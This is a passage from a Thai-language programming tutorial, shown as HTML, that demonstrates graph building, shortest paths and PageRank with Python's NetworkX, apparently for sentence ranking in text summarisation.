        with_labels=True)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Unknown.png" class="kg-image" alt loading="lazy" width="446" height="302"></figure><pre><code>nx.shortest_path(G, &apos;A&apos;, &apos;D&apos;, weight=&apos;weight&apos;)</code></pre><p>[&apos;A&apos;, &apos;B&apos;, &apos;D&apos;]</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; add_edge()<strong> </strong>&#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE22;&#xE31;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE19;&#xE33;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; Matrix &#xE21;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE44;&#xE14;&#xE49;&#xE14;&#xE49;&#xE27;&#xE22;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE40;&#xE0A;&#xE48;&#xE19; <strong>from_numpy_array()</strong></p><pre><code>matrixA = np.array([[0., 1., 1.],
                    [0., 0., 0.],
                    [0., 0., 0.]])

g1 = nx.from_numpy_array(matrixA)</code></pre><pre><code>pos = nx.spiral_layout(g1)

nx.draw(g1,
        pos=pos,
        with_labels = True,
        node_color=&quot;#f86e00&quot;)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Unknown-2.png" class="kg-image" alt loading="lazy" width="446" height="302"></figure><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49; from_numpy_array() &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE35;&#xE17;&#xE34;&#xE28;&#xE17;&#xE32;&#xE07; (<strong>Direct Graph</strong>) 2 &#xE17;&#xE34;&#xE28;&#xE17;&#xE32;&#xE07;&#xE1A;&#xE19;&#xE17;&#xE38;&#xE01;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Weight &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1 &#xE43;&#xE2B;&#xE49;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34; &#xE2A;&#xE31;&#xE07;&#xE40;&#xE01;&#xE15;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01; Array &#xE2B;&#xE23;&#xE37;&#xE2D; Matrix &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32; Dump &#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>nx.to_numpy_array(g1)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-18-at-11.14.07.png" class="kg-image" alt loading="lazy" width="1706" height="140" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-18-at-11.14.07.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-18-at-11.14.07.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-18-at-11.14.07.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-18-at-11.14.07.png 1706w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE08;&#xE32;&#xE01; Similarity Matrix &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32; &#xE01;&#xE23;&#xE32;&#xE1F;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; from_numpy_array()</li></ul><pre><code>sentence_similarity_graph = nx.from_numpy_array(sentence_similarity_martix)</code></pre><pre><code>pos = nx.spring_layout(sentence_similarity_graph, seed=999)

nx.draw(sentence_similarity_graph,
        pos=pos, node_size=500,
        node_color=&apos;#f86e00&apos;,
        edge_color=&apos;blue&apos;,
        with_labels=True,
        width=1)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Unknown-3.png" class="kg-image" alt loading="lazy" width="446" height="302"></figure><pre><code>nx.get_edge_attributes(sentence_similarity_graph,&apos;weight&apos;)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-18-at-11.31.33.png" class="kg-image" alt loading="lazy" width="2000" height="1000" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-18-at-11.31.33.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-18-at-11.31.33.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-18-at-11.31.33.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-18-at-11.31.33.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Edge Attribute &#xE2B;&#xE23;&#xE37;&#xE2D; Weight &#xE02;&#xE2D;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F; &#xE01;&#xE47;&#xE04;&#xE37;&#xE2D; &#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; Sentence Similarity Matrix &#xE04;&#xE23;&#xE31;&#xE1A;</p><h2 id="%E0%B8%84%E0%B8%B3%E0%B8%99%E0%B8%A7%E0%B8%93%E0%B8%84%E0%B9%88%E0%B8%B2-pagerank-%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B9%84%E0%B8%AE%E0%B9%84%E0%B8%A5%E0%B8%97%E0%B9%8C%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%82%E0%B8%A2%E0%B8%84">&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32; PageRank &#xE41;&#xE25;&#xE30;&#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;</h2><p>PageRank &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE31;&#xE25;&#xE01;&#xE2D;&#xE23;&#xE34;&#xE17;&#xE36;&#xE21;&#xE02;&#xE2D;&#xE07; Google &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE2D;&#xE31;&#xE19;&#xE14;&#xE31;&#xE1A;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE40;&#xE27;&#xE47;&#xE1A; (<strong>Web Page</strong>) &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE08;&#xE32;&#xE01; Google Search Engine &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2D;&#xE31;&#xE25;&#xE01;&#xE2D;&#xE23;&#xE34;&#xE17;&#xE36;&#xE21; PageRank &#xE14;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07; Web Page &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE04;&#xE48;&#xE32; PR &#xE08;&#xE32;&#xE01;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Link &#xE43;&#xE19;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE42;&#xE14;&#xE22; Web Page &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; PR &#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE19;&#xE33;&#xE21;&#xE32;&#xE08;&#xE31;&#xE14;&#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE44;&#xE27;&#xE49;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; Google Search</p><p>&#xE08;&#xE30;&#xE02;&#xE2D;&#xE22;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE2D;&#xE31;&#xE25;&#xE01;&#xE2D;&#xE23;&#xE34;&#xE17;&#xE36;&#xE21; PageRank &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE35;&#xE17;&#xE34;&#xE28;&#xE17;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Web Page &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 7 &#xE2B;&#xE19;&#xE49;&#xE32; (A, B, C, D, E, F, G)</li></ul><pre><code>G = nx.DiGraph()

[G.add_node(k) for k in [&apos;A&apos;, &apos;B&apos;, &apos;C&apos;, &apos;D&apos;, &apos;E&apos;, &apos;F&apos;, &apos;G&apos;]]

G.add_edges_from([(&apos;G&apos;,&apos;A&apos;), (&apos;A&apos;,&apos;G&apos;),(&apos;B&apos;,&apos;A&apos;),
                  (&apos;C&apos;,&apos;A&apos;),(&apos;A&apos;,&apos;C&apos;),(&apos;A&apos;,&apos;D&apos;),
                  (&apos;E&apos;,&apos;A&apos;),(&apos;F&apos;,&apos;A&apos;),(&apos;D&apos;,&apos;B&apos;),
                  (&apos;D&apos;,&apos;F&apos;)])</code></pre><pre><code>pos = nx.spiral_layout(G)
nx.draw(G,
        pos=pos,
        with_labels = True,
        node_color=&quot;#f86e00&quot;)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Unknown-4.png" class="kg-image" alt loading="lazy" width="446" height="302"></figure><ul><li>&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; <strong>pagerank()</strong> &#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32; PR</li></ul><pre><code>pr1 = nx.pagerank(G)

pr1</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-18-at-13.43.00.png" class="kg-image" alt loading="lazy" width="1974" height="298" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-18-at-13.43.00.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-18-at-13.43.00.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-18-at-13.43.00.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-18-at-13.43.00.png 1974w" sizes="(min-width: 720px) 720px"></figure><p>&#xE04;&#xE48;&#xE32; PR &#xE02;&#xE2D;&#xE07;&#xE17;&#xE38;&#xE01; Node &#xE43;&#xE19;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE23;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE08;&#xE30;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1</p><ul><li>&#xE41;&#xE2A;&#xE14;&#xE07;&#xE04;&#xE48;&#xE32; PR &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE1B;&#xE2D;&#xE23;&#xE4C;&#xE40;&#xE0B;&#xE47;&#xE19;&#xE15;&#xE4C;</li></ul><pre><code>PR = [str(round(v * 100, 2)) + &apos;%&apos; for v in pr1.values()]

PR</code></pre><p>[&apos;40.81%&apos;, &apos;7.97%&apos;, &apos;13.7%&apos;, &apos;13.7%&apos;, &apos;2.14%&apos;, &apos;7.97%&apos;, &apos;13.7%&apos;]</p><ul><li>&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Node &#xE08;&#xE32;&#xE01;&#xE01;&#xE23;&#xE32;&#xE1F;</li></ul><pre><code>name = [k for k in G._node.keys()]

name</code></pre><p>[&apos;A&apos;, &apos;B&apos;, &apos;C&apos;, &apos;D&apos;, &apos;E&apos;, &apos;F&apos;, &apos;G&apos;]</p><ul><li>&#xE41;&#xE2A;&#xE14;&#xE07;&#xE04;&#xE48;&#xE32; PR &#xE02;&#xE2D;&#xE07; Node &#xE43;&#xE19;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE1B;&#xE2D;&#xE23;&#xE4C;&#xE40;&#xE0B;&#xE47;&#xE19;&#xE15;&#xE4C; </li></ul><pre><code>dict(zip(name, PR))</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-18-at-13.44.23.png" class="kg-image" alt loading="lazy" width="1880" height="286" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-18-at-13.44.23.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-18-at-13.44.23.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-18-at-13.44.23.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-18-at-13.44.23.png 1880w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE02;&#xE22;&#xE32;&#xE22;&#xE04;&#xE48;&#xE32; PR &#xE02;&#xE2D;&#xE07; Node &#xE43;&#xE19;&#xE01;&#xE23;&#xE32;&#xE1F; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Plot &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;</li></ul><pre><code>size = [v * 6000 for v in pr1.values()]</code></pre><ul><li>Plot &#xE01;&#xE23;&#xE32;&#xE1F; &#xE42;&#xE14;&#xE22;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07; Node &#xE15;&#xE32;&#xE21;&#xE04;&#xE48;&#xE32; PR &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE02;&#xE22;&#xE32;&#xE22;</li></ul><pre><code>pos = nx.spiral_layout(G)
nx.draw(G,
        pos=pos,
        with_labels = True,
        node_color=&quot;#f86e00&quot;,
        node_size=size)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Unknown-5.png" class="kg-image" alt loading="lazy" width="446" height="302"></figure><p>&#xE08;&#xE32;&#xE01;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;&#xE1E;&#xE1A;&#xE27;&#xE48;&#xE32; Web Page A &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Web Page &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; Connect &#xE40;&#xE02;&#xE49;&#xE32;&#xE2B;&#xE32;&#xE21;&#xE31;&#xE19;&#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14; &#xE08;&#xE30;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14; (PR = 40.81%)</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; Web Page<strong> C</strong>, <strong>D</strong>, <strong>G</strong> (PR = 13.7%) &#xE08;&#xE30;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE01;&#xE27;&#xE48;&#xE32; Web Page <strong>F</strong> (PR = 7.97%) &#xE17;&#xE31;&#xE49;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE1E;&#xE27;&#xE01;&#xE21;&#xE31;&#xE19;&#xE21;&#xE35;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; &#xA0;Link &#xE02;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE40;&#xE17;&#xE48;&#xE32;&#xE46; &#xE01;&#xE31;&#xE19; &#xE01;&#xE47;&#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; Link &#xE02;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32; Web Page F &#xE19;&#xE31;&#xE49;&#xE19;&#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Web Page D (PR = 13.7%) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; Link &#xE02;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32; Web Page C, D, G &#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Web Page A (PR = 40.81%) &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;</p><ul><li>Dump Matrix &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE01;&#xE23;&#xE32;&#xE1F;</li></ul><pre><code>nx.to_numpy_array(G)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-19-at-23.47.33.png" class="kg-image" alt loading="lazy" width="1656" height="276" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-19-at-23.47.33.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-19-at-23.47.33.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-19-at-23.47.33.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-19-at-23.47.33.png 1656w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE35;&#xE17;&#xE34;&#xE28;&#xE17;&#xE32;&#xE07; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xA0;4 Node</li></ul><pre><code>G = nx.DiGraph()
G.add_edge(&apos;B&apos;, &apos;A&apos;)
G.add_edge(&apos;C&apos;, &apos;A&apos;)
G.add_edge(&apos;D&apos;, &apos;A&apos;)
G.add_edge(&apos;B&apos;, &apos;C&apos;)
G.add_edge(&apos;D&apos;, &apos;B&apos;)
G.add_edge(&apos;D&apos;, &apos;C&apos;)</code></pre><pre><code>pos = nx.spring_layout(G, seed=4321)
nx.draw(G,
        pos=pos,
        node_size=500,
        node_color=&apos;#f86e00&apos;,
        edge_color=&apos;blue&apos;,
        with_labels=True)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Unknown-6.png" class="kg-image" alt loading="lazy" width="446" height="302"></figure><p>&#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32; PR &#xE2D;&#xE31;&#xE25;&#xE01;&#xE2D;&#xE23;&#xE34;&#xE17;&#xE36;&#xE21; PageRank &#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; PR &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Node &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 0.25 (1 &#xE2B;&#xE32;&#xE23;&#xE14;&#xE49;&#xE27;&#xE22;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Node &#xE43;&#xE19;&#xE01;&#xE23;&#xE32;&#xE1F;)</p><pre><code>PR(A) = 0.25 PR(B) = 0.25 PR(C) = 0.25 PR(D) = 0.25

&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE38;&#xE01; Web Page q &#xE17;&#xE35;&#xE48; Connect &#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Web Page A
PR(A) = (1-d) + d*(PR(B)/On(B) + PR(C)/On(C) + PR(D)/On(D))

&#xE42;&#xE14;&#xE22; d &#xE2B;&#xE23;&#xE37;&#xE2D; damping factor = 0.85 &#xE41;&#xE25;&#xE30;
On(q) &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Link &#xE02;&#xE32;&#xE2D;&#xE2D;&#xE01; (Outgoing Links) &#xE02;&#xE2D;&#xE07; Page q

&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; PR(A) = 0.15 + 0.85(0.25/2 + 0.25/1 + 0.25/3) = 0.5395833333</code></pre><p>&#xE2D;&#xE31;&#xE25;&#xE01;&#xE2D;&#xE23;&#xE34;&#xE17;&#xE36;&#xE21; PageRank &#xE08;&#xE30;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32; PR &#xE02;&#xE2D;&#xE07; Web Page &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE2B;&#xE25;&#xE32;&#xE22;&#xE23;&#xE2D;&#xE1A; (<em>max_iter=100</em>) &#xE01;&#xE48;&#xE2D;&#xE19;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;</p><pre><code>PR = nx.pagerank(G)

PR</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.01.02.png" class="kg-image" alt loading="lazy" width="1912" height="184" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-00.01.02.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-00.01.02.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-00.01.02.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.01.02.png 1912w" sizes="(min-width: 720px) 720px"></figure><pre><code>nx.to_numpy_array(G)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.04.08.png" class="kg-image" alt loading="lazy" width="1648" height="166" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-00.04.08.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-00.04.08.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-00.04.08.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.04.08.png 1648w" sizes="(min-width: 720px) 720px"></figure><p>&#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE27;&#xE48;&#xE32;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Edge &#xE02;&#xE2D;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F; NetworkX &#xE08;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Weight &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32; Default</p><p>&#xE41;&#xE15;&#xE48;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C;&#xE43;&#xE08;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Edge &#xE02;&#xE2D;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE28;&#xE19;&#xE34;&#xE22;&#xE21; (Sentence Similarity)</p><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE35;&#xE17;&#xE34;&#xE28;&#xE17;&#xE32;&#xE07; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xA0;3 Node</li></ul><pre><code>D=nx.DiGraph()

D.add_edge(&apos;A&apos;, &apos;B&apos;)
D.add_edge(&apos;A&apos;, &apos;C&apos;)</code></pre><pre><code>nx.draw(D,
        pos=pos,
        node_size=500,
        node_color=&apos;#f86e00&apos;,
        edge_color=&apos;blue&apos;,
        with_labels=True)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Unknown-7.png" class="kg-image" alt loading="lazy" width="446" height="302"></figure><pre><code>nx.to_numpy_array(D)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.08.13.png" class="kg-image" alt loading="lazy" width="1702" height="140" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-00.08.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-00.08.13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-00.08.13.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.08.13.png 1702w" sizes="(min-width: 720px) 720px"></figure><p>Weight &#xE1A;&#xE19; Edge &#xE02;&#xE2D;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F; &#xE08;&#xE30;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1</p><pre><code>nx.pagerank(D)</code></pre><p>{&apos;A&apos;: 0.25974050510584634, &apos;B&apos;: 0.37012974744707666, &apos;C&apos;: 0.37012974744707666}</p><p>&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01; Web Page B &#xE41;&#xE25;&#xE30; C &#xE21;&#xE35;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Link 